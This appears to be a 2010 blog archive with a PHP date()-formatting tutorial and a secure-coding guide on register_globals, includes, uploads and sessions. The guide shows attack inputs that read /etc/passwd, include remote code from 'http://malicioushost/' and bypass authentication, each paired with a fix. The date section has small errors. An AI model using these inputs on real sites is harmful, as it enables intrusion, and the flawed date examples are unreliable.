Wednesday, September 29, 2010

Displaying Date and Time

The date and time we will show how to display in this tutorial is the
one specified by the server which is hosting our pages. In case you want to display a different date or time (p. e., your clients are mostly from Belgium but your server is located in US and you want to display the local time in Belgium) you will find how to do it latter on this page.

In the table bellow we have include the PHP code necessary to display one by one all the time and date related information. By copying the code in the first column to your page you will get the data which is explained inthe third column. The column in the middle is the value of those
data the day we were preparing this page.

CodeOutput
<?php print date("a");
?>
pm"am" or "pm"
<?php print date("A"); ?>PM"AM" or "PM"
<?php print date("d"); ?>15Day of the month: 01 to 31
<?php print date("D"); ?>TueDay of the week: Sun, Mon, Tue, Wed, Thu, Fri, Sat
<?php print date("F"); ?>OctoberMonth: January, February, March...
<?php print date("h"); ?>03Hour: 01 to 12
<?php print date("H"); ?>15Hour: 00 to 23
<?php print date("g"); ?>3Hour: 1 to 12
<?php print date("G"); ?>15Hour: 0 to 23
<?php print date("i"); ?>26Minutes: 00 to 59
<?php print date("j"); ?>15Day of the month: 1 to 31
<?php print date("l"); ?>TuesdayDay of the week: Sunday, Monday, Tuesday...
<?php print date("L"); ?>0Is it a leap year? 1 (yes) or 0 (no)
<?php print date("m"); ?>10Month: 01 to 12
<?php print date("n"); ?>10Month: 1 to 12
<?php print date("M"); ?>OctMonth: Jan, Feb, Mar, Apr, May...
<?php print date("s"); ?>03Seconds: 00 to 59
<?php print date("S"); ?>thOrdinal: 1st, 2st, 3st, 4st...
Need
to be used with a numeric time/date value. See latter.
<?php print date("t"); ?>31Number of days in the month: 28 to 31
<?php print date("U"); ?>1034691963 Seconds since 1970/01/01 00:00:00
<?php print date("w"); ?>2Day of the week: 0 (Sunday) to 6 (Saturday)
<?php print date("Y"); ?>2002Year (four digits)
<?php print date("y"); ?>02Year (two digits)
<?php print date("z"); ?>287Day of the year: 0 to 365
<?php print date("Z"); ?>-21600Difference in seconds from Greenwhich meridian

As shown in the table the commands we are using in all case are "print" (in order to show the values to the visitor) and "date" (which will allow us to get the data corresponding to the string code we are using between brakets). So we already know how to obtain the data and how to show it in our page, but if we want to display different values simultaneously, we have at least three option:


The code
Output
<?php print
date("Y"); ?>:<?php print date("m");
?>: <?php print date("d"); ?>
2002:10:15
<?php print
date("Y").":".date("m").":".date("d");
?>
2002:10:15
<?php print
date("Y:m:d"); ?>
2002:10:15

The first option is very easy to understand (we have just copied the code from the table one by one). The second option concatenates the data basically in the same way, and the third one is probably the most useful system, but the one we must understand before using it. Command "date" will get the data we want to display, and that data is specified by the string used within data (in our case: "Y:m:d"). Each character in this string may or may not have a meaning depending upon there is or there is not a value asociate with that letter (see the first table in this
page). In our case some characters will be replaced by its corresponding value:

Y
:
m
:
d
Year (four digits)
no meaning
Month: 01 to 12
no meaning
Day of the month: 01 to 31

Check this usefull examples:

The code
Output
<?php print
date("Y:m:d H:i") ?>
2002:10:15 15:26
<?php print
date("l dS of F Y h:i:s A"); ?>
Tuesday 15th of October 2002 15:26:03 PM
The time is <?php print
date("H:i") ?>.
That means it's <?php print date("i") ?>
minutes past <?php print date("H") ?> o'clock.

The time is 15:26. That means it's 26 minutes past 15 o'clock.


Take care when using date command or you may get unwanted data as shown in the first row in the table bellow (use the code in second row instead):

The code
Output
Character with meaning
<?php print
date("Today is l"); ?>
WETo15pm02 2603 Tuesday The following characters have a meaning: T, d,
a,
y, i, s, l
<?php print
"Today is ".date("l"); ?>
Today is TuesdayOnly data asociated to "l" (day of the week) is
requested
What if you wanted to have a link that points to a different page every day of the week? Here's how you can do that. First, create one page for each day of the week and name them "Sunday.htm," "Monday.htm," and so on.

To make the link, copy the code bellow to your page

<a href= <?php print

date("l"); ?>.htm>Link
of the Day</a>


Place the code in your ".php" page where you want it to appear. When you click this link in your browser, it will take you to the "Link of the Day".

Using "S" with date comand.

Lets suppose we are using the code bellow in different consecutive days:


Day
Code
Output
2002/01/01
<? php print
date("nS of F"); ?>
1st of January
2002/01/02
<? php print
date("nS of F"); ?>
2nd of January
2002/01/03
<? php print
date("nS of F"); ?>
3rd of January
2002/01/04
<? php print
date("nS of F"); ?>
4th of January
The "S" character included within command date will allow us to show "st", "nd", "rd" or "th" values depending on the number preceding the character "S".

Displaying local time

In this tutorial we will consider our server is located in a

different time zone from the one our clients are located at (a Belgium related
site is in a server located is USA for example).

First we must know the time in the server. We will create a text

file with the code bellow, and we will copy it to our server:

Time in server: <?php print
date("H:i") ?>

Then we will visit our page and we will get the time in the server.

Let suppose the time is 16:00

Second, we will calculate the difference in hours between local time

and the time in server. Let suppose the time in Belgium is 20:00, so the
difference is 4 hours.
To get the local time we will use the code in the table bellow:

<?php
$differencetolocaltime=4;
$new_U=date("U")-$differencetolocaltime*3600;
print date("H:i", $new_U);
?>
Lets explain this code:
  • We have create a variable named $differencetolocaltime, and we
  • have stablish the value for this variable (4)
  • In third line of the script we have create a variable named
  • $new_U,
    and the value for this variable will be 'date("U")' (Seconds since 1970/01/01 00:00:00) to which we have substracted the difference of hours between the two time zones (in our case 4 hours, which is the value for the variable $differencetolocaltime, has been multiplied by 3600, which is
    the number of seconds in one hour)
  • In the last step we have write to the document the new hour and
  • time by using "date" command to which we have let know the exact date (specified
    by $new_U) from which we want to get the time (if it is not specified,
    as for example when using 'date("H:i")', the time and date in the server will
    be displayed as shown before in this page).

    Tuesday, September 28, 2010

    PHP Global Variables

    Global variables

    1. Introduction

    Variables declared outside of functions are considered global by PHP. The opposite is that a variable declared inside a function, is considered to be in local function scope.

    PHP handles global variables quite differently compared to languages like C. In C a global variable is always available in local scope as well as global, as long as it is not overridden by a local definition. In PHP things are different; to access a global variable from local scope you have to declare it global in that scope. The following example shows this:

    $sTitle = 'Page title'; // Global scope

    function printTitle()

    {

    global $sTitle; // Declare the variable as global

    echo $sTitle; // Now we can access it just like it was a local variable

    }

    All variables in PHP are represented by a dollar sign followed by the name of the variable. The names are case-sensitive and must start with a letter or underscore, followed by any number of letters, numbers, or underscores.

    2. register_globals

    The register_globals directive makes input from GET, POST and COOKIE, as well as session variables and uploaded files, directly accessible as global variables in PHP. This single directive, if set in php.ini, is the root of many vulnerabilities in web applications.

    Let's start by having a look at an example:

    if ( $bIsAlwaysFalse )

    {

    // This is never executed:

    $sFilename = 'somefile.php';

    }

    ...

    if ( $sFilename != '' )

    {

    // Open $sFilename and send it's contents to the browser

    ...

    }

    If we were to call this page like: page.php?sFilename=/etc/passwd with register_globals set, it would be the same as to write the following:

    $sFilename = '/etc/passwd'; // This is done internally by PHP

    if ( $bIsAlwaysFalse )

    {

    // This is never executed:

    $sFilename = 'somefile.php';

    }

    ...

    if ( $sFilename != '' )

    {

    // Open $sFilename and send it's contents to the browser

    ...

    }

    PHP takes care of the $sFilename = '/etc/passwd'; part for us. What this means is that a malicious user could inject his/her own value for $sFilename and view any file readable under the current security context.

    We should always; I say that again, we should always think of that "what if" when writing code. So turning off register_globals might be a solution but what if our code ends up on a server with register_globals on. We must bear in mind that all variables in global scope could have been tampered with. The correct way to write the above code would be to make sure that we always assign a value to $sFilename:

    // We initialize $sFilename to an empty string

    $sFilename = '';

    if ( $bIsAlwaysFalse )

    {

    // This is never executed:

    $sFilename = 'somefile.php';

    }

    ..

    if ( $sFilename != '' )

    {

    // Open $sFilename and send it's contents to the browser

    ...

    }

    Another solution would be to have as little code as possible in global scope. Object oriented programming (OOP) is a real beauty when done right and I would highly recommend you to take that approach. We could write almost all our code in classes which is generally safer and promotes reuse.

    Like we never should assume that register_globals is off we should never assume it is on. The correct way to get input from GET, POST, COOKIE etc is to use the superglobals that were added in PHP version 4.1.0. These are the $_GET, $_POST, $_ENV, $_SERVER, $_COOKIE, $_REQUEST $_FILES, and $_SESSION arrays. The term superglobals is used since they are always available without regard to scope.

    3. Includes and Remote files

    The PHP functions include() and require() provides an easy way of including and evaluating files. When a file is included, the code it contains inherits the variable scope of the line on which the include statement was executed. All variables available at that line will be available within the included file. And the other way around, variables defined in the included file will be available to the calling page within the current scope.

    The included file does not have to be a file on the local computer. If the allow_url_fopen directive is enabled in php.ini you can specify the file to be included using an URL. That is PHP will get it via HTTP instead of a local pathname. While this is a nice feature it can also be a big security risk. Note: The allow_url_fopen directive is enabled by default.

    A common mistake is not considering that every file can be called directly, that is a file written to be included is called directly by a malicious user. An example:

    // file.php

    $sIncludePath = '/inc/';

    include($sIncludePath . 'functions.php');

    ...

    // functions.php

    include($sIncludePath . 'datetime.php');

    include($sIncludePath . 'filesystem.php');

    In the above example functions.php is not meant to be called directly, so it assumes $sIncludePath is set by the calling page. By creating a file called datetime.php or filesystem.php on another server (and turning off PHP processing on that server) we could call functions.php like the following:

    functions.php?sIncludePath=http://malicioushost/

    PHP would nicely download datetime.php from the other server and execute it, which means a malicious user could execute code of his/her choice in functions.php.

    I would recommend against includes within includes (as the example above). In my opinion it makes it harder to understand and get an overview of the code. But right now we want to make the above code safe and to do that we make sure that functions.php really is called from file.php. The code below shows one solution:

    // file.php

    define('SECURITY_CHECK', true);

    $sIncludePath = '/inc/';

    include($sIncludePath . 'functions.php');

    ...

    // functions.php

    if ( !defined('SECURITY_CHECK') )

    {

    // Output error message and exit.

    exit('Security check failed.')

    }

    include($sIncludePath . 'datetime.php');

    include($sIncludePath . 'filesystem.php');

    The function define() defines a constant. Constants are not prefixed by a dollar sign ($) and thus we can not break this by something like: functions.php?SECURITY_CHECK=1

    Although not so common these days you can still come across PHP files with the .inc extension. These files are only meant to be included by other files. What is often overlooked is that these files, if called directly, does not go through the PHP preprocessor and thus get sent in clear text. We should be consistent and stick with one extension that we know gets processed by PHP. The .php extension is the recommended.

    4. File upload

    PHP is a feature rich language and one of it is built in features is automatic handling of file uploads. When a file is uploaded to a PHP page it is automatically saved to a temporary directory. New global variables describing the uploaded file will be available within the page.

    Consider the following HTML code presenting a user with an upload form:

    <form action="page.php" method="POST" enctype="multipart/form-data">

    <input type="file" name="testfile" />

    <input type="submit" value="Upload file" />

    </form>

    After submitting the above form, new variables will be available to page.php based on the "testfile" name.

    Variables set by PHP and what they will contain:

    // A temporary path/filename generated by PHP. This is where the file is saved until we

    // move it or it is removed by PHP if we choose not to do anything with it:

    $testfile

    // The original name/path of the file on the client's system:

    $testfile_name

    // The size of the uploaded file in bytes:

    $testfile_size

    // The mime type of the file if the browser provided this information. For example "image/jpeg":

    $testfile_type

    A common approach is to check if $testfile is set and if it is, start working on it right away, maybe copying it to a public directory, accessible from any browser. You probably already guessed it; this is a very insecure way of working with uploaded files. The $testfile variable does not have to be a path/file to an uploaded file. It could come from GET, POST, and COOKIE etc. A malicious user could make us work on any file on the server, which is not very pleasant.

    First of all, like I mentioned before we should not assume anything about the register_globals directive, it could be on or off for all we care, our code should work with or without it and most importantly it will be just as secure regardless of configuration settings. So the first thing we should do is to use the $_FILES array:

    // The temporary filename generated by PHP:

    $_FILES['testfile']['tmp_name']

    // The original name/path of the file on the client's system:

    $_FILES['testfile']['name']

    // The mime type of the file if the browser provided this information. For example "image/jpeg":

    $_FILES['testfile']['type']

    // The size of the uploaded file in bytes:

    $_FILES['testfile']['size']

    The built in functions is_uploaded_file() and/or move_uploaded_file() should be called with $_FILES['testfile']['tmp_name'] to make sure that the file really was uploaded by HTTP POST. The following example shows a straightforward way of working with uploaded files:

    if ( is_uploaded_file($_FILES['testfile']['tmp_name']) )

    {

    // Check if the file size is what we expect (optional)

    if ( $_FILES['testfile']['size'] > 102400 )

    {

    // The size can not be over 100kB, output error message and exit.

    ...

    }

    // Validate the file name and extension based on the original name in $_FILES['testfile']['name'],

    // we do not want anyone to be able to upload .php files for example.

    ...

    // Everything is okay so far, move the file with move_uploaded_file

    ...

    }

    Note: We should always check if a variable in the superglobals arrays is set with isset() before accessing it. I choose not to do that in the above examples because I wanted to keep them as simple as possible.

    5. Sessions

    Sessions in PHP is a way of saving user specific variables or "state" across subsequent page requests. This is achieved by handing a unique session id to the browser which the browser submits with every new request. The session is alive as long as the browser keeps sending the id with every new request and not to long time passes between requests.

    The session id is generally implemented as a cookie but it could also be a value passed in the URL. Session variables are saved to files in a directory specified in php.ini, the filenames in this directory are based on the session ids. Each file will contain the variables for that session in clear text.

    First we are going to look at the old and insecure way of working with sessions; unfortunately this way of working with sessions is still widely used.

    // first.php

    // Initialize session management

    session_start();

    // Authenticate user

    if ( ... )

    {

    $bIsAuthenticated = true;

    }

    else

    {

    $bIsAuthenticated = false;

    }

    // Register $bIsAuthenticated as a session variable

    session_register('bIsAuthenticated');

    echo 'To second page';

    // second.php

    // Initialize session management

    session_start();

    // $bIsAuthenticated is automatically set by PHP

    if ( $bIsAuthenticated )

    {

    // Display sensitive information

    ...

    }

    Why is this insecure? It is insecure because a simple second.php?bIsAuthenticated=1 would bypass the authentication in first.php.

    session_start() is called implicitly by session_register() or by PHP if the session.auto_start directive is set in php.ini (defaults to off). However to be consistent and not to rely on configuration settings we always call it for ourselves.

    The recommend way of working with sessions:

    // first.php

    // Initialize session management

    session_start();

    // Authenticate user

    if ( ... )

    {

    $_SESSION['bIsAuthenticated'] = true;

    }

    else

    {

    $_SESSION['bIsAuthenticated'] = false;

    }

    echo 'To second page';

    // second.php

    // Initialize session management

    session_start();

    if ($_SESSION['bIsAuthenticated'] )

    {

    // Display sensitive information

    ...

    }

    Not only is the above code more secure it is also, in my opinion, much cleaner and easier to understand.

    Note: On multi host system remember to secure the directory containing the session files, otherwise users might be able to create custom session files for other sites.